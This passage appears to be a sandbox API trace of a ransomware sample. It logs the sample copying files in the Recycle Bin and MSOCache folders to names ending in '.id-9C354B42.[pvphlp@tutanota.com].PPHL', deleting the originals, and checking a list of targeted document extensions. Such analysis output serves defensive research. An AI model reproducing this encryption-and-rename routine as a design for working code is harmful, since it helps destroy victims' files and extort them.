returned 0x102 [0073.690] GetTickCount () returned 0x1148824 [0073.690] GetTickCount () returned 0x1148824 [0073.690] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0074.075] GetTickCount () returned 0x11489aa [0074.075] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0074.591] GetTickCount () returned 0x1148bad [0074.591] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0074.728] GetTickCount () returned 0x1148c39 [0074.728] GetTickCount () returned 0x1148c39 [0074.728] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0075.284] GetTickCount () returned 0x1148e6b [0075.284] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0076.081] GetTickCount () returned 0x1149186 [0076.081] GetTickCount () returned 0x1149186 [0076.081] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0076.207] GetTickCount () returned 0x1149203 [0076.207] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0076.485] GetTickCount () returned 0x114931c [0076.485] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0076.765] GetTickCount () returned 0x1149435 [0076.765] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0077.162] GetTickCount () returned 0x11495bb [0077.162] GetTickCount () returned 0x11495bb [0077.162] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0077.549] GetTickCount () returned 0x1149741 [0077.549] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0077.896] GetTickCount () returned 0x1149898 [0077.896] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0078.114] GetTickCount () returned 0x1149972 [0078.114] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0078.678] GetTickCount () returned 0x1149ba4 [0078.678] GetTickCount () returned 0x1149ba4 [0078.678] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0078.850] GetTickCount () returned 0x1149c50 [0078.850] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0079.553] GetTickCount () returned 0x1149f0e [0079.553] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0080.042] GetTickCount () returned 0x114a101 [0080.042] GetTickCount () returned 0x114a101 [0080.042] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) Thread: id = 10 os_tid = 0x71c [0057.625] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x64d468 [0057.625] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x65fe88 [0057.626] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x670130 [0057.626] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6) returned 0x60a380 [0057.626] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x6700e8 [0057.626] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x100000) returned 0x3080020 [0057.626] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x670100 [0057.626] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x670100, Size=0x20) returned 0x626708 [0057.626] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x670100 [0057.627] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x670100, Size=0x20) returned 0x626730 [0057.627] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0057.627] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0057.627] Wow64DisableWow64FsRedirection (in: OldValue=0x2a3ff58 | out: OldValue=0x2a3ff58*=0x0) returned 1 [0057.627] lstrlenW (lpString="kernel32.dll") returned 12 [0057.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x626708 | out: hHeap=0x5d0000) returned 1 [0057.627] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0057.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x626730 | out: hHeap=0x5d0000) returned 1 [0057.627] Sleep (dwMilliseconds=0x64) [0057.786] lstrcmpiW (lpString1=".ini", lpString2=".PPHL") returned -1 [0057.786] lstrlenW (lpString="desktop.ini") returned 11 [0057.786] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0057.786] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=129) returned 1 [0057.786] CloseHandle (hObject=0x160) returned 1 [0057.786] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0057.786] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0057.787] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0057.787] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.787] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.787] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0057.796] GetLastError () returned 0x0 [0057.796] ReadFile (in: hFile=0x160, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x81, lpOverlapped=0x0) returned 1 [0057.814] WriteFile (in: hFile=0x164, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x90, lpOverlapped=0x0) returned 1 [0057.815] ReadFile (in: hFile=0x160, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.815] WriteFile (in: hFile=0x164, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0057.815] SetEndOfFile (hFile=0x164) returned 1 [0057.815] CloseHandle (hObject=0x164) returned 1 [0057.816] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.816] SetEndOfFile (hFile=0x160) returned 1 [0057.817] CloseHandle (hObject=0x160) returned 1 [0057.817] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x26) returned 1 [0057.818] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 1 [0057.818] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0057.818] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0057.818] lstrlenW (lpString=".doc") returned 4 [0057.818] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0057.818] lstrlenW (lpString=".docx") returned 5 [0057.818] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0057.818] lstrlenW (lpString=".pdf") returned 4 [0057.818] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0057.818] lstrlenW (lpString=".xls") returned 4 [0057.818] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0057.818] lstrlenW (lpString=".xlsx") returned 5 [0057.818] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0057.818] lstrlenW (lpString=".ppt") returned 4 [0057.818] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0057.818] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0057.819] lstrlenW (lpString=".zip") returned 4 [0057.819] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0057.819] lstrlenW (lpString=".rar") returned 4 [0057.819] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0057.819] lstrlenW (lpString=".bz2") returned 4 [0057.819] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0057.819] lstrlenW (lpString=".7z") returned 3 [0057.819] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0057.819] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0057.819] lstrlenW (lpString=".dbf") returned 4 [0057.819] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0057.819] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0057.819] lstrlenW (lpString=".1cd") returned 4 [0057.819] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0057.819] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0057.819] lstrlenW (lpString=".jpg") returned 4 [0057.819] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0057.819] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0057.819] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0057.819] lstrlenW (lpString=".doc") returned 4 [0057.819] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0057.819] lstrlenW (lpString=".docx") returned 5 [0057.819] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0057.819] lstrlenW (lpString=".pdf") returned 4 [0057.819] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0057.819] lstrlenW (lpString=".xls") returned 4 [0057.819] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0057.819] lstrlenW (lpString=".xlsx") returned 5 [0057.819] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0057.819] lstrlenW (lpString=".ppt") returned 4 [0057.819] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0057.819] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0057.820] lstrlenW (lpString=".zip") returned 4 [0057.820] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0057.820] lstrlenW (lpString=".rar") returned 4 [0057.820] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0057.820] lstrlenW (lpString=".bz2") returned 4 [0057.820] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0057.820] lstrlenW (lpString=".7z") returned 3 [0057.820] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0057.820] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0057.820] lstrlenW (lpString=".dbf") returned 4 [0057.820] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0057.820] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0057.820] lstrlenW (lpString=".1cd") returned 4 [0057.820] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0057.820] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0057.820] lstrlenW (lpString=".jpg") returned 4 [0057.820] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0057.820] Sleep (dwMilliseconds=0x64) [0057.953] Sleep (dwMilliseconds=0x64) [0058.634] Sleep (dwMilliseconds=0x64) [0059.862] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0059.862] lstrlenW (lpString="PowerPointMUI.xml") returned 17 [0059.863] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0059.864] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=1450) returned 1 [0059.864] CloseHandle (hObject=0x190) returned 1 [0059.864] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 0x2020 [0059.864] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0059.864] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0059.864] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.864] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.864] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0059.864] GetLastError () returned 0x0 [0059.864] ReadFile (in: hFile=0x190, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0059.866] WriteFile (in: hFile=0x194, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0059.867] ReadFile (in: hFile=0x190, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.867] WriteFile (in: hFile=0x194, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0059.867] SetEndOfFile (hFile=0x194) returned 1 [0059.867] CloseHandle (hObject=0x194) returned 1 [0059.868] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.868] SetEndOfFile (hFile=0x190) returned 1 [0059.869] CloseHandle (hObject=0x190) returned 1 [0059.869] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0059.869] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 1 [0059.870] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0059.870] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0059.870] lstrlenW (lpString=".doc") returned 4 [0059.871] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0059.871] lstrlenW (lpString=".docx") returned 5 [0059.871] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0059.871] lstrlenW (lpString=".pdf") returned 4 [0059.871] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0059.871] lstrlenW (lpString=".xls") returned 4 [0059.871] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0059.871] lstrlenW (lpString=".xlsx") returned 5 [0059.871] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0059.871] lstrlenW (lpString=".ppt") returned 4 [0059.871] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0059.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0059.871] lstrlenW (lpString=".zip") returned 4 [0059.871] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0059.871] lstrlenW (lpString=".rar") returned 4 [0059.871] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0059.871] lstrlenW (lpString=".bz2") returned 4 [0059.871] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0059.871] lstrlenW (lpString=".7z") returned 3 [0059.871] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0059.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0059.871] lstrlenW (lpString=".dbf") returned 4 [0059.871] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0059.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0059.871] lstrlenW (lpString=".1cd") returned 4 [0059.871] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0059.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0059.871] lstrlenW (lpString=".jpg") returned 4 [0059.871] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0059.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0059.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0059.871] lstrlenW (lpString=".doc") returned 4 [0059.871] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0059.871] lstrlenW (lpString=".docx") returned 5 [0059.872] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0059.872] lstrlenW (lpString=".pdf") returned 4 [0059.872] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0059.872] lstrlenW (lpString=".xls") returned 4 [0059.872] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0059.872] lstrlenW (lpString=".xlsx") returned 5 [0059.872] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0059.872] lstrlenW (lpString=".ppt") returned 4 [0059.872] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0059.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0059.872] lstrlenW (lpString=".zip") returned 4 [0059.872] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0059.872] lstrlenW (lpString=".rar") returned 4 [0059.872] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0059.872] lstrlenW (lpString=".bz2") returned 4 [0059.872] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0059.872] lstrlenW (lpString=".7z") returned 3 [0059.872] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0059.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0059.872] lstrlenW (lpString=".dbf") returned 4 [0059.872] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0059.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0059.872] lstrlenW (lpString=".1cd") returned 4 [0059.872] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0059.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0059.872] lstrlenW (lpString=".jpg") returned 4 [0059.872] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0059.872] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0059.872] lstrlenW (lpString="PublisherMUI.xml") returned 16 [0059.872] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0059.874] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=1450) returned 1 [0059.874] CloseHandle (hObject=0x190) returned 1 [0059.874] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 0x2020 [0059.874] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0059.874] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0059.874] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.874] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.874] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0059.875] GetLastError () returned 0x0 [0059.875] ReadFile (in: hFile=0x190, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0059.876] WriteFile (in: hFile=0x194, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0059.877] ReadFile (in: hFile=0x190, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.877] WriteFile (in: hFile=0x194, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0059.877] SetEndOfFile (hFile=0x194) returned 1 [0059.877] CloseHandle (hObject=0x194) returned 1 [0059.878] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.878] SetEndOfFile (hFile=0x190) returned 1 [0059.879] CloseHandle (hObject=0x190) returned 1 [0059.879] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0059.879] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 1 [0059.880] lstrlenW (lpString="C:\\MSOCache\\All 